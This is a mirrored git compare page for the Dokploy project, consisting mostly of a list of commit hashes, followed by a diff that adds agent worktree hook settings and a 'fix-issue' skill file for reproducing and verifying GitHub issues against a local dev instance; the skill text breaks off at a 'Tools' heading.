mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-10-17 22:25:32 +00:00
Compare commits
1083 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f48ebf0bcb | |||
| 8383f48bd0 | |||
| 3f90bb9159 | |||
| 63a1a0c89f | |||
| e0006758c0 | |||
| d9fe046396 | |||
| bfe24f89f9 | |||
| 502d6c8a18 | |||
| 9e87b9e401 | |||
| a7d8dff360 | |||
| 94f3815eb4 | |||
| 931f5c1335 | |||
| aae2dd9377 | |||
| fe3912dc4b | |||
| ccd26e946b | |||
| 29107d88fc | |||
| c7ee0430f7 | |||
| 3cc8158fdc | |||
| 726664ab3c | |||
| 20701ba272 | |||
| 412516d47b | |||
| b4681b318f | |||
| 0898642e32 | |||
| d2779136c5 | |||
| 0b537a815d | |||
| b329595370 | |||
| 2674eb200d | |||
| e8f236c9db | |||
| 749bb2c1ce | |||
| 9992659f24 | |||
| 88cb057e06 | |||
| 7289a3f68e | |||
| 5be17d3dd0 | |||
| 5aa28bc7d3 | |||
| 20575da9fe | |||
| 06b3bb282a | |||
| 5c19d1b704 | |||
| 2bc3741e41 | |||
| 35d26a806b | |||
| a4a13b90b8 | |||
| 48504fde4e | |||
| 84a1d7093c | |||
| 90d522c846 | |||
| c6a2b2437d | |||
| cec5b65cd6 | |||
| 52f61adfe8 | |||
| 169bac2ef8 | |||
| 916bb50e73 | |||
| 0d3a3966b0 | |||
| 560e790e73 | |||
| ff2e454dca | |||
| 82545bf500 | |||
| 302754bd3b | |||
| 6e7934fc55 | |||
| c18609a127 | |||
| 618a7df25c | |||
| 1c6d333739 | |||
| 72f2c4d5d1 | |||
| e8be2693e0 | |||
| 4396451095 | |||
| 7dc066a7bd | |||
| a0b6f233cb | |||
| d0ec74fbb8 | |||
| 382fdfc478 | |||
| c231c2979b | |||
| 3951247ebd | |||
| 7b89d1f948 | |||
| 6215c7f159 | |||
| 52ea2ce071 | |||
| a0f1a5119c | |||
| 5e0b021ec2 | |||
| a0e0574bcd | |||
| c453ac3a2f | |||
| 143dfcafe3 | |||
| 3563f585f9 | |||
| f2ba262499 | |||
| f397c1a862 | |||
| 16ac4633f3 | |||
| d7d75f7c5c | |||
| a0e1001808 | |||
| 8236c31fcd | |||
| 037230496c | |||
| 14e059784c | |||
| f34151bc12 | |||
| d00ae31920 | |||
| 95b2712c26 | |||
| 318ad36967 | |||
| a87a5c06f0 | |||
| e120340e77 | |||
| 0d6e984b54 | |||
| 1e9873b3e4 | |||
| 26317e9126 | |||
| 853ca33659 | |||
| a90c2a662f | |||
| 45dcdfc5be | |||
| 29cdc815db | |||
| 9fa98de9c1 | |||
| a4a1d15656 | |||
| 8075a7ce95 | |||
| 326908869d | |||
| 18d07c7254 | |||
| 4cd4b83523 | |||
| f91b2e2ca6 | |||
| e70c880612 | |||
| 0c1dfe978c | |||
| 88118cdb3f | |||
| 38d157adc0 | |||
| 3b1fec5409 | |||
| 49b8214e5d | |||
| ec31739e0e | |||
| d5328703fa | |||
| f4cb26cbf4 | |||
| a6c1f3048f | |||
| 9cae609a0a | |||
| 2c234d6e20 | |||
| 9dcdb53aa1 | |||
| bda8124291 | |||
| 6dcd0e1859 | |||
| 85786a3196 | |||
| ea3f9f3b53 | |||
| e99a98e4fe | |||
| 5611662351 | |||
| 887a457f15 | |||
| df4e299545 | |||
| aaff71bbf6 | |||
| be128d5a4a | |||
| 467c80a73d | |||
| 2d5a6ef679 | |||
| 8291165259 | |||
| e701644fa5 | |||
| 94cd5035ef | |||
| ea1c6fc3fe | |||
| df0986b4e1 | |||
| caca3c19ae | |||
| 91db4e60c4 | |||
| 1e6ab0fab7 | |||
| 67f6890fc8 | |||
| 988f5b64d6 | |||
| e369541a16 | |||
| 7c1889205c | |||
| 0f28775a1e | |||
| 6ed5746983 | |||
| e8f94a94da | |||
| 150c34dc0a | |||
| 91eaab6a43 | |||
| f0f7843ece | |||
| 6e760da93b | |||
| 0c19973fbf | |||
| 600657ec62 | |||
| 383438e4fc | |||
| 57a5465d89 | |||
| ab87f2daad | |||
| 3b065db8a0 | |||
| 96778433db | |||
| f25810fa72 | |||
| 8409b8ce60 | |||
| 57d92b75de | |||
| 7e9fdbb5ff | |||
| 2311f346d4 | |||
| e9623119bd | |||
| d7884c7ce9 | |||
| 341f38bba6 | |||
| 28f71e727a | |||
| 29e5940e8d | |||
| 41251b4f1e | |||
| 15bf663aad | |||
| 13b043edd9 | |||
| 48dfb2b820 | |||
| 62e948a804 | |||
| b6c83e082e | |||
| b5c3d8660e | |||
| 5c0d3b84af | |||
| 7effae35cb | |||
| 7fb02abb3e | |||
| 631816f8d1 | |||
| 1a29694481 | |||
| 19589694ea | |||
| 1572008cdf | |||
| 5f10ed6884 | |||
| 399e20c1ed | |||
| 5faa363f7a | |||
| 5cbc7efc61 | |||
| 12ea7a8920 | |||
| 782bb4e249 | |||
| f4e1154d31 | |||
| bf547e2fd0 | |||
| 9568a4f9f8 | |||
| b839e6d6be | |||
| 7ae566f4de | |||
| ea9a466c01 | |||
| d1fda6368c | |||
| d389b3c8d0 | |||
| 0889d763ef | |||
| bbca400a6d | |||
| 03cdd00fa8 | |||
| ad00669f0f | |||
| f58ff1062e | |||
| c180f7502c | |||
| 4877c4ffa3 | |||
| dfa9c17d7d | |||
| e79ed7691f | |||
| e25e241cf5 | |||
| f617561d0b | |||
| f904a7bd55 | |||
| 261ebb2317 | |||
| c901260d81 | |||
| 8c9e473b4e | |||
| e2c9bd2833 | |||
| 8b38acdebd | |||
| 6dacab06cd | |||
| b2ed974422 | |||
| 62e43b164b | |||
| 4746cfc1ca | |||
| 18e617eb14 | |||
| f67fab0675 | |||
| 344febb4c1 | |||
| fff5612c2e | |||
| c5f12927b5 | |||
| 56eaa93b91 | |||
| e67d9efb38 | |||
| c32c8d01a9 | |||
| 1d26fdd027 | |||
| 0dcfcc19da | |||
| 2e2e0c8c29 | |||
| a424f64370 | |||
| 3893150f5c | |||
| 8806d4ef80 | |||
| 6d51c100ae | |||
| 13bb1ac5d1 | |||
| 5606a2bd1e | |||
| 58f3714ddc | |||
| 6282b6ef39 | |||
| f83097b80f | |||
| 59a74849a8 | |||
| 27dab3f4bf | |||
| d56ef890ae | |||
| b75785dc6a | |||
| 80a6baf58e | |||
| be4a5da405 | |||
| 2bc22c520d | |||
| e629248dea | |||
| ff3ebefc70 | |||
| c0f07f1427 | |||
| da3c0b1326 | |||
| c225188ed4 | |||
| 6239073e2a | |||
| a42614004f | |||
| e1a432d5c8 | |||
| 02760212f7 | |||
| 0478f34be5 | |||
| 8b5c14ca74 | |||
| 50acb791cd | |||
| 3a6e18be79 | |||
| 23b15801d5 | |||
| 78fe5e3a33 | |||
| 8cd2ba80f2 | |||
| 8639605b03 | |||
| 1443500b9d | |||
| 9c444ebca3 | |||
| e7eb20d92f | |||
| f1a4f4317a | |||
| 1ab4a8a70a | |||
| 53a6e926d6 | |||
| 43178b6442 | |||
| a194e1e27b | |||
| 50479f20ff | |||
| 4453c55086 | |||
| 3c95912001 | |||
| 5624dff5c1 | |||
| d7ea9cf9bc | |||
| 68a05551d0 | |||
| 57c221de6f | |||
| 48e0b747b6 | |||
| 4e38925119 | |||
| 91bcf88df9 | |||
| a63157cd51 | |||
| 47308070a8 | |||
| a1c57011a4 | |||
| ec8e645758 | |||
| e8f4a1715c | |||
| 880bb55272 | |||
| a36739eb07 | |||
| 1ff9294009 | |||
| 142082fe89 | |||
| 5345c00ff3 | |||
| d181384833 | |||
| 1f5f5576f1 | |||
| d6ec4bd3d1 | |||
| 7e9b77e93f | |||
| 8db39a8d15 | |||
| 714bf03244 | |||
| dada3049a8 | |||
| 0971e1952a | |||
| e0a9b83a39 | |||
| ccfc44815e | |||
| f1e2467bb9 | |||
| 3f6dfbaaa7 | |||
| e79239a100 | |||
| 9e3d6fdf2c | |||
| cabfe2e81e | |||
| b0ab9c77fb | |||
| 2f7f50aec5 | |||
| 532de2c59e | |||
| 542eced075 | |||
| 4b2de31b1c | |||
| 4b7a6295fc | |||
| a4e29172f4 | |||
| 22450abc4b | |||
| 976161647f | |||
| bfc180dfef | |||
| 628b14d07a | |||
| 0efe7feaf5 | |||
| 474081a264 | |||
| 1053743a1c | |||
| 355b856185 | |||
| a1cc2778f3 | |||
| fee0071223 | |||
| 3334edef73 | |||
| cf0e8d236c | |||
| 9d9b41c1e5 | |||
| bdf33750a3 | |||
| a66684a784 | |||
| abc2439ec4 | |||
| 5b6a8bd1ef | |||
| d26f70642d | |||
| e2d2dbb00a | |||
| e4012d857d | |||
| ab62080e9d | |||
| 3a8fad57e6 | |||
| 203cddbeef | |||
| 032e804114 | |||
| ca3da4dc5d | |||
| 87b914996f | |||
| 8f3230e2ed | |||
| cebd380856 | |||
| a822db5967 | |||
| 71816d0853 | |||
| 85ed75a5c6 | |||
| f46cd4601c | |||
| 2a585933e9 | |||
| 62e6a4c017 | |||
| 4710c28db5 | |||
| 63efbffcfd | |||
| 523e8f4e4f | |||
| b67519ebd5 | |||
| 452b7aa2f2 | |||
| 3c6a96a30a | |||
| 546686ea35 | |||
| 217ca07842 | |||
| c6f81ce60d | |||
| bd8ba128cd | |||
| 72a554de5f | |||
| cda047feb2 | |||
| feccb51287 | |||
| 1ccd633153 | |||
| 8be1e68fe1 | |||
| 875baa139c | |||
| e2ab2eb6bc | |||
| d675db10bb | |||
| 903789bfe5 | |||
| d1273e2fe9 | |||
| 74d2d41961 | |||
| ede4626396 | |||
| 772b768217 | |||
| d3d8d9ec83 | |||
| f4dfb6a903 | |||
| bbde5ebbc3 | |||
| 38e855bc5e | |||
| 62f701425a | |||
| 130be40b49 | |||
| db2eb4f60a | |||
| 9c4ad14c70 | |||
| bee6918d9a | |||
| d7c152af0d | |||
| 5ff0c26954 | |||
| b4edb56132 | |||
| 9dab15ad47 | |||
| e3f4310755 | |||
| 0be822ef5b | |||
| a8e0477b70 | |||
| 5fa963fe87 | |||
| 3054cf53be | |||
| 8c2d4d5c19 | |||
| 64c3a93590 | |||
| fa3cab8bcc | |||
| 31ddd7fe1a | |||
| edc8fc1d7f | |||
| 8f42dced38 | |||
| fc6f4d9af8 | |||
| d183018201 | |||
| 7a0efc7aa4 | |||
| effa3ea502 | |||
| 80859dc5b6 | |||
| b10cad4f78 | |||
| 65c5ccc7b2 | |||
| cf6f5e39d2 | |||
| 33367fb86b | |||
| 5d1731c54f | |||
| e15b38be38 | |||
| 76c2416613 | |||
| 60612b0986 | |||
| 0ea7de7d31 | |||
| 49055a05b1 | |||
| 2221b8a99c | |||
| c77f6d889d | |||
| a5b8626345 | |||
| fa788b00a6 | |||
| 41d355c7dc | |||
| ded23bb05f | |||
| 717792f186 | |||
| c0265b49b4 | |||
| b53fface69 | |||
| ff275fe94e | |||
| ca578ed075 | |||
| a691b469a1 | |||
| 6d8aa9d8da | |||
| 3b8611771c | |||
| 2cb499fb64 | |||
| 479e8bb551 | |||
| e541308a4f | |||
| b976c7b4f7 | |||
| 7f3a85ac38 | |||
| ac9ad72875 | |||
| d8b7c1ea5e | |||
| d542967ae4 | |||
| aedb35b8df | |||
| c6ab76fe09 | |||
| 2598a62771 | |||
| 8bc1bd36d8 | |||
| 1b9504897a | |||
| 7b3c5355fa | |||
| 1828e7c276 | |||
| d770e3ce7d | |||
| d583ba8bd3 | |||
| b8e8704493 | |||
| 518ee44ea6 | |||
| f62e41ede6 | |||
| 046a608f8c | |||
| 171c70492d | |||
| a4425cfb1d | |||
| 8e18a8a683 | |||
| fc5b8d03e5 | |||
| 1183c7c4a9 | |||
| dec05aca22 | |||
| 98dbc59a02 | |||
| 95b1afc2c2 | |||
| 52aca4636d | |||
| c741ff36c0 | |||
| 795065810d | |||
| 4bf6dfff13 | |||
| 59ebf809aa | |||
| a1a672b672 | |||
| 92a1f0d0de | |||
| c61163d721 | |||
| a2329aed26 | |||
| f6c1e77279 | |||
| dbe2b38ea9 | |||
| eff6a1865e | |||
| 90e96e1806 | |||
| dc9c67129e | |||
| 561fb43d42 | |||
| 795f6f094e | |||
| 26c871946a | |||
| 65198f6082 | |||
| 07f95a034f | |||
| 2bda2ccc04 | |||
| 1c9a538457 | |||
| 4e18a64da2 | |||
| 3e10a8dd6d | |||
| 63edae4740 | |||
| c2071bbbfd | |||
| 1325a0fccc | |||
| 9412b52172 | |||
| 7825537964 | |||
| 3be9cdfe65 | |||
| fa7a54b4eb | |||
| daba2d7fbc | |||
| b07d7f2005 | |||
| 02edd6abe7 | |||
| a60b0af419 | |||
| 9687224152 | |||
| 86bce3335f | |||
| 37f0bba43f | |||
| 16f0f0eeb4 | |||
| 4d58f3987f | |||
| 3848fa9c0d | |||
| f12ecc3350 | |||
| 3cad115155 | |||
| 34c5b688ac | |||
| 3fbd67fe4d | |||
| 491054f1d9 | |||
| 5492ed12a0 | |||
| cba6ce9c57 | |||
| 8bf1167530 | |||
| 529f54e2a5 | |||
| 8144e1a2fe | |||
| d11735d4cd | |||
| 739fd08372 | |||
| 870d592a97 | |||
| 56fdb6151d | |||
| a089870e8b | |||
| 5bcaf9dafb | |||
| f238347ed7 | |||
| 9919e369d1 | |||
| aaf8d7e12f | |||
| 1ccf15f331 | |||
| 4732b38d5a | |||
| c76c5b2f90 | |||
| c6c259f926 | |||
| 1617d07fbd | |||
| e237e34e14 | |||
| 71521f2711 | |||
| 36db6f589a | |||
| 3cefade4a0 | |||
| 5ceb88bebe | |||
| 92b628c8fc | |||
| 790d7c1f36 | |||
| 00d9603209 | |||
| fe85f0f998 | |||
| cf22a0e058 | |||
| c05e6d5a6b | |||
| 286938bbbb | |||
| d39902d575 | |||
| 79b5ff96ca | |||
| 604d9b1004 | |||
| 67fa8e4104 | |||
| c085ec3793 | |||
| f9057d9304 | |||
| f14f12c778 | |||
| 37c8d6477e | |||
| 2003886aa0 | |||
| ce0fe63b4a | |||
| 19958ee9d9 | |||
| 218687f46d | |||
| 63144e6855 | |||
| c8b87c7105 | |||
| 2d7caceeed | |||
| fada032f72 | |||
| be9c8260c6 | |||
| 8ac0e52656 | |||
| 9747e832ac | |||
| ce717a3de6 | |||
| f6622428f7 | |||
| b8822a1fde | |||
| ae2edc79bf | |||
| dced7970ac | |||
| 771d76a57c | |||
| d0eb6ef1ca | |||
| 8637acb56c | |||
| bd92dfb8c1 | |||
| 4791863ff9 | |||
| f633d4b0a3 | |||
| 692c68f013 | |||
| b7db28408d | |||
| 1f73ebd0b0 | |||
| f5c21db1ef | |||
| 679dbf98cb | |||
| ef0272a4ec | |||
| bd7fb8f23c | |||
| e801b6cda0 | |||
| 05ab210acd | |||
| bc935ae3ad | |||
| 4b90eb0d90 | |||
| b20348908f | |||
| b1795e1d3c | |||
| f08c53c9b7 | |||
| c0694eb5b2 | |||
| c05511db33 | |||
| 6204415dc5 | |||
| be71866c96 | |||
| 5c862f7ef4 | |||
| 79af8da827 | |||
| 1de7b515ab | |||
| 6293a39187 | |||
| 91258d00ad | |||
| 65d2853b9e | |||
| f3c7edcfd6 | |||
| fe0a84dde8 | |||
| 6a10923a50 | |||
| d3a873a6f5 | |||
| bcab5b059f | |||
| a8c35f7501 | |||
| 9f69f6cbf9 | |||
| b3e7a8a74c | |||
| 309dd567d6 | |||
| 340687574a | |||
| dd04312470 | |||
| 54272b95b6 | |||
| 27377da6fa | |||
| 6ec530043e | |||
| 3e306e5dba | |||
| 8545a1d9e7 | |||
| d8bb3f406c | |||
| ac57e22b87 | |||
| 94098b2686 | |||
| ff9fa7418f | |||
| c9ca719d97 | |||
| 53feb9dd5b | |||
| b6190ff314 | |||
| b50b1d4c86 | |||
| abe774650f | |||
| 98af5a2f07 | |||
| 1f04ebf3cd | |||
| 472ebed06c | |||
| 5ed94954e6 | |||
| 4ce24dfdd3 | |||
| 06b67d4519 | |||
| 5dd2b5beec | |||
| 35af10ca07 | |||
| 75448f358e | |||
| 4e675d6f3f | |||
| 57fae73853 | |||
| dd542994a4 | |||
| bcf97f92ab | |||
| e19d7bbf0e | |||
| 3e4ed0c299 | |||
| 112b2c8358 | |||
| b7fdbd4704 | |||
| 13b897c01d | |||
| 83008205b9 | |||
| 0f0102ff2d | |||
| cbe78950cc | |||
| 49ee74c89d | |||
| e88d13f67b | |||
| 2f89981597 | |||
| c7a96ed82c | |||
| d4e087e128 | |||
| 7f41b098f9 | |||
| 43229c89da | |||
| c6607f3a19 | |||
| 6e84f39a9f | |||
| b024c9c2fd | |||
| 982f4d70f7 | |||
| ba24ae6797 | |||
| 2f8af90da4 | |||
| 3f98208f03 | |||
| 5d231bf3e3 | |||
| 0124613516 | |||
| 3495fc89bf | |||
| 5ae289cae3 | |||
| 3638c7b35b | |||
| 2505c347bc | |||
| a0162ab566 | |||
| 314a31dc27 | |||
| 108541c957 | |||
| 14be318502 | |||
| d6c2e38cb0 | |||
| ff39cb51e6 | |||
| 46c87a22b0 | |||
| 1776e6ad4f | |||
| 9f1ba37e13 | |||
| 60112d84a5 | |||
| 89c0e9ef67 | |||
| 8583b3c1a5 | |||
| 69a5615544 | |||
| a1230098c9 | |||
| eacb1440e0 | |||
| 7e38861985 | |||
| 056b6983db | |||
| f6b0700ea5 | |||
| 4325605578 | |||
| 5d11a045cc | |||
| d92de5a4a0 | |||
| 81051ca965 | |||
| 7b0bcee652 | |||
| 11e93dde38 | |||
| cbb3450b93 | |||
| a058d1f5c7 | |||
| 3835a6fe68 | |||
| 325c2a4180 | |||
| 51cb7d2287 | |||
| 081cf3fb80 | |||
| 2be9e1e3df | |||
| 3b0bdd8f74 | |||
| 6e79270423 | |||
| 9999f0a18e | |||
| 268ec1f397 | |||
| 018e56a7b4 | |||
| 1cf81e3802 | |||
| bb73c6e6dd | |||
| 15bc4b5dc5 | |||
| 30e8d9b86e | |||
| 5df820a740 | |||
| ba5af51347 | |||
| 6e1d020769 | |||
| deebf0f107 | |||
| 7047e4f199 | |||
| 069939e8f9 | |||
| b7e5fadf53 | |||
| 260af232e7 | |||
| 425d478a0b | |||
| 268fd7d771 | |||
| 4ba7972ffa | |||
| 2739690758 | |||
| d768adb6ad | |||
| 24d0cff060 | |||
| 29fcc74ca5 | |||
| 8f0702c4da | |||
| ec74035c70 | |||
| aee15efac7 | |||
| 97885ee44a | |||
| 73e4fdd757 | |||
| 0fc75840d2 | |||
| 79c127b03b | |||
| f2148040a3 | |||
| 8a37626636 | |||
| adcbd6fd8e | |||
| c578c18500 | |||
| 94ddbf8ba5 | |||
| 61c2b73f08 | |||
| 736a77e112 | |||
| f4bcc2e8a8 | |||
| 99e483c1a1 | |||
| 22c8a1658a | |||
| f0f0db4c7f | |||
| 09ea766fb5 | |||
| a49615038f | |||
| 8b868c66d6 | |||
| 366e44b75a | |||
| cb2db0d30a | |||
| 7ba3853bab | |||
| 8def9e933e | |||
| e9b51667e2 | |||
| 25370cac30 | |||
| 52c7db1f66 | |||
| 6d65a36aac | |||
| cbec72ed80 | |||
| 3b102fac56 | |||
| b2ade17487 | |||
| ffe62bca0e | |||
| d3f522b7a6 | |||
| 4aee66b2d1 | |||
| d02f34f9d4 | |||
| 92310ddb14 | |||
| 16b5b7293f | |||
| d629faebc6 | |||
| eeb6e7b8ea | |||
| 35c30a1210 | |||
| a83b2026f6 | |||
| 9b078e0b4c | |||
| ce4be79b3d | |||
| 8c2e91a5e6 | |||
| 0514363062 | |||
| ffb8d4396b | |||
| 5ae344db58 | |||
| f339805ddf | |||
| 8fe3294a08 | |||
| 1e3f10bd22 | |||
| 393fb92344 | |||
| 79c9cf99e0 | |||
| 6cbc7a0031 | |||
| eb1f11b908 | |||
| 1a3c76d1f2 | |||
| 1e354a3cf2 | |||
| 1bc76e9e5b | |||
| 56169f3278 | |||
| 479d851829 | |||
| 68f5afae42 | |||
| 637715ac66 | |||
| df2779eaeb | |||
| 95a3556baa | |||
| fbd84b9b0d | |||
| d48037a802 | |||
| 8539a5c82f | |||
| ccd2e83c57 | |||
| 89effbe395 | |||
| b24202e69b | |||
| 0348f5fb38 | |||
| cba0b253c7 | |||
| 1c31ed9969 | |||
| ecbaf6060b | |||
| c0afc48da8 | |||
| 65fe737bc4 | |||
| 77384b2183 | |||
| 68ea9f7771 | |||
| 182d3656bb | |||
| c2c0e9c1c2 | |||
| 5563699f71 | |||
| 117cfa1a89 | |||
| 439eee45ed | |||
| e88c6b6b4f | |||
| 26cae3b8a9 | |||
| 071d9eacee | |||
| 57ecfa8884 | |||
| 97cd7d1009 | |||
| cf35eae73f | |||
| fb7f5bd5b6 | |||
| 47347ab885 | |||
| 74811073f6 | |||
| 15fe3b21c9 | |||
| 7728e5ea9e | |||
| df3965a581 | |||
| bddc0c3d15 | |||
| 9626c162cc | |||
| c4596ffa76 | |||
| 7ca96f6087 | |||
| de62aff0fb | |||
| d5dd35c8f8 | |||
| 4631ede015 | |||
| c9817da45b | |||
| faf600bd88 | |||
| bc22d05f8d | |||
| 7ba9818894 | |||
| 012d9596b2 | |||
| e2bbbc86d8 | |||
| 0e3c228c4e | |||
| 52eb38fa48 | |||
| ee802cd54c | |||
| 898af1f74c | |||
| a376b00a71 | |||
| 9142127fb3 | |||
| 31380fd325 | |||
| f577778667 | |||
| 12d3f1871c | |||
| e43d99e796 | |||
| e19dd43293 | |||
| c04d56bf2c | |||
| 2e867c5be1 | |||
| e87a245cdc | |||
| 71bea42625 | |||
| 1cb9491013 | |||
| 92c5879438 | |||
| a94f8b96d3 | |||
| 01ac30974f | |||
| ae95485b74 | |||
| 5344945f83 | |||
| f23b5b9532 | |||
| 79baa24763 | |||
| 6dc22bdeed | |||
| 1ca03d3dc2 | |||
| 1c4414165d | |||
| 93b7942f7d | |||
| 6224d57adb | |||
| 8d0ae19b58 | |||
| 856cf33dd8 | |||
| 7924794ae7 | |||
| 3c114e2b45 | |||
| cffd8464ef | |||
| b3621bcfff | |||
| 2df02f596a | |||
| b4574aa097 | |||
| d831607f3a | |||
| ac2e081134 | |||
| 26d716b34f | |||
| 995a04d30f | |||
| 2a7668662f | |||
| e6bfaa2eac | |||
| 3912c1abcc | |||
| bb30dc14fe | |||
| 532c8d0c0d | |||
| 49bf39dc18 | |||
| 0393c2635b | |||
| 7871ce7684 | |||
| 98b86300df | |||
| 82fcdc9598 | |||
| 4e3a6db83a | |||
| 17fdd64c10 | |||
| 215c4666ff | |||
| 9749d86b4c | |||
| 12a9cceec7 | |||
| d3e0b100a0 | |||
| a296407c85 | |||
| 0d79a0a221 | |||
| c9ac7236a7 | |||
| 6e5ac41bab | |||
| d7b9f01567 | |||
| 8f9be1636c | |||
| 86f941d606 | |||
| 1da4db2905 | |||
| a5bb9486a9 | |||
| c72698cc11 | |||
| a1b26e8b83 | |||
| b176f8f860 | |||
| 59b0e51ef7 | |||
| 8c900408bd | |||
| 8db1250487 | |||
| 71bbbb44db | |||
| b3feeed3e4 | |||
| 2440e8f803 | |||
| ca2708a58a | |||
| f8a3561f1e | |||
| 38de9ef218 | |||
| cb23d726fe | |||
| aa93897eae | |||
| 475a01c4a2 | |||
| 8a0e44291f | |||
| 3e11c0a240 | |||
| b96c5e8655 | |||
| 3e74f9a374 | |||
| b2692cd594 | |||
| db0cb66f0d | |||
| 91abc93c10 | |||
| f5ded8b273 | |||
| d87229ccd3 | |||
| 1bf661b621 | |||
| 6431e9b7b0 | |||
| 8d44c6a1e8 | |||
| ec9dd28924 | |||
| e32133d9a6 | |||
| aa72091316 | |||
| c2a95870f5 | |||
| 3ca5afd49f | |||
| 30c408b130 | |||
| 8b6481501e | |||
| ed0abb2465 | |||
| b4e2d274b1 | |||
| a504449f1d | |||
| eaec68023e | |||
| 2643ae0a86 | |||
| f59f11474b | |||
| f29a1a1976 | |||
| ade7a79bf1 | |||
| 55704ff98f | |||
| 57bb9f27bd | |||
| b9a8064371 | |||
| 24b02f5523 | |||
| 86ea311714 | |||
| 439f575669 | |||
| dc2fc40c38 | |||
| cee674235f | |||
| 60ad78282e | |||
| b3c2e1e5af | |||
| 1f4f94042f | |||
| e9a0932b23 | |||
| 6b68fcab8c | |||
| dfbae18557 | |||
| c1c887d03c | |||
| 0f77c40ee3 | |||
| a0288f83d5 | |||
| 4900204107 | |||
| 0f76d8f385 | |||
| c968a2755e | |||
| f35f3064e9 | |||
| c377be0a14 | |||
| e944603f99 | |||
| e6fc3db08f | |||
| 57ef96a458 | |||
| b29a87aaa8 | |||
| 705ca54ccc | |||
| aa545ec71c | |||
| 51b5af55d0 | |||
| 7da96810a8 | |||
| 28673a6166 | |||
| f886010acc | |||
| 238bb2f6f9 | |||
| 1df6774ee8 | |||
| 35f452d25f | |||
| 931203a310 | |||
| a3c8b3bd42 | |||
| 4f6e57cc9c | |||
| 3cb0523681 | |||
| 60867d0b60 | |||
| 6a0acd9cad | |||
| 64a606ffa4 | |||
| 29851491f6 | |||
| 95633b4122 | |||
| c73632cbe0 | |||
| 41c09cd86b | |||
| 6ff2ca0173 | |||
| 30b3e1fe48 | |||
| d56a17c8ae | |||
| 85211afd41 | |||
| 9bd44512f0 | |||
| ad680ae108 | |||
| d7d642230c | |||
| 4ba0f71220 | |||
| 8018027330 | |||
| 6675aa6f37 | |||
| a07106d649 | |||
| 2f43f605f3 | |||
| 103e2f70a8 | |||
| 34d38cf90e | |||
| f6e6e5cc00 | |||
| b06138b230 | |||
| af8072d7ad | |||
| 6e342ee2f2 | |||
| ef0cf9bd02 | |||
| 8d88a34a64 | |||
| a50f958a6f | |||
| 1fdbe87d84 | |||
| 67278d8783 | |||
| aff200f84f | |||
| 558d809871 | |||
| f8fcf68909 | |||
| 7a568aadac | |||
| 63e33a29cc | |||
| 754774ea02 | |||
| a714e0f83f | |||
| 9f10f0f4e9 | |||
| df98cea19f | |||
| b109e0ebc4 | |||
| 282d358d04 | |||
| 2f08b33931 | |||
| ccc8f6d047 | |||
| 4032895176 | |||
| bb0c59fc5c | |||
| b90279c26a | |||
| 222b167a76 | |||
| bad9731878 | |||
| 7e13243c1d | |||
| 689ae51ee7 | |||
| 9be96d4195 | |||
| 5f508163e5 | |||
| fc75b847b5 | |||
| b1abcb9e06 | |||
| c668f6c7bd | |||
| 36ba9fcb3e | |||
| 24cc455168 | |||
| f21931da60 | |||
| e802342f57 | |||
| 3e11897762 | |||
| eb80f79862 | |||
| 4d8a2a38e8 | |||
| de3db08e60 | |||
| a2d655083a | |||
| f3356cfe90 | |||
| 2362778fe1 | |||
| 628f16e8cb | |||
| ea8e99d76d | |||
| d4719ece58 | |||
| e679a322b9 | |||
| f24f1ada5f | |||
| 43f9f545c6 | |||
| d542972522 | |||
| e7c38d4c54 | |||
| a8f941b5d9 | |||
| c68fac55fd | |||
| efcad7bbf5 | |||
| a0566cdbd7 | |||
| 69598821ed | |||
| 5b6d80e177 | |||
| 2c9ca651a8 | |||
| 413ed9bd80 | |||
| 4f578516d6 | |||
| 1e57d48ab4 | |||
| a177d34dfd | |||
| 1034c79245 | |||
| 304454b22d | |||
| 42c2076281 | |||
| 5cd7de8188 | |||
| 1352b859e2 | |||
| 1c2307b86f | |||
| 4832fd929c | |||
| d1b639a55a | |||
| 40de13e4d4 | |||
| f0ea1c8796 | |||
| b45e7e415c | |||
| 67d3e92aaf | |||
| 76af74d8aa | |||
| b15ede8877 | |||
| ea805c1520 | |||
| 976932fb03 | |||
| ac8960efdd | |||
| d6050ce05a | |||
| 5a46b879f5 | |||
| 222e4878bd | |||
| fd267a64de | |||
| fa3cdf148b | |||
| 74caf141f4 | |||
| 8b7d9c0896 | |||
| 13e20e9ef8 | |||
| f9b0589070 | |||
| b615d04ad2 | |||
| 6c4efa48b1 | |||
| 85d48aba2b | |||
| 3b138f8e8a | |||
| b91067dc2a | |||
| 335a16b915 | |||
| 274f38029c | |||
| 4cbc91d3d0 | |||
| 10d17de186 | |||
| 65f0919fa7 | |||
| 9b7abfbed7 | |||
| 6676a86b34 | |||
| d603654ac1 | |||
| d9ffe519b0 | |||
| fa91a74462 | |||
| d7794286be | |||
| f337dd7e01 | |||
| 5d5d95bbd3 | |||
| 7be1084a10 | |||
| 19a525fac1 | |||
| 7984497398 |
@@ -0,0 +1,22 @@
|
||||
{
|
||||
"worktree": {
|
||||
"baseRef": "fresh"
|
||||
},
|
||||
"hooks": {
|
||||
"PostToolUse": [
|
||||
{
|
||||
"matcher": "EnterWorktree",
|
||||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
|
||||
},
|
||||
{
|
||||
"type": "command",
|
||||
"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
---
|
||||
name: fix-issue
|
||||
description: Implement a GitHub issue with reproduction and verification
|
||||
allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
|
||||
---
|
||||
|
||||
The issue number is passed as $1.
|
||||
|
||||
## Instance
|
||||
|
||||
No instance is running yet — start your own, isolated to this worktree:
|
||||
|
||||
1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
|
||||
2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
|
||||
background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
|
||||
until it answers (usually ~10-15s).
|
||||
3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
|
||||
|
||||
Note: `mcp__dokploy__*` resolves its URL from
|
||||
`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
|
||||
discovered mid-session. If those tools are unavailable or point at the wrong
|
||||
instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
|
||||
to relaunch with `DOKPLOY_BASE_URL` exported first.
|
||||
|
||||
## Tools
|
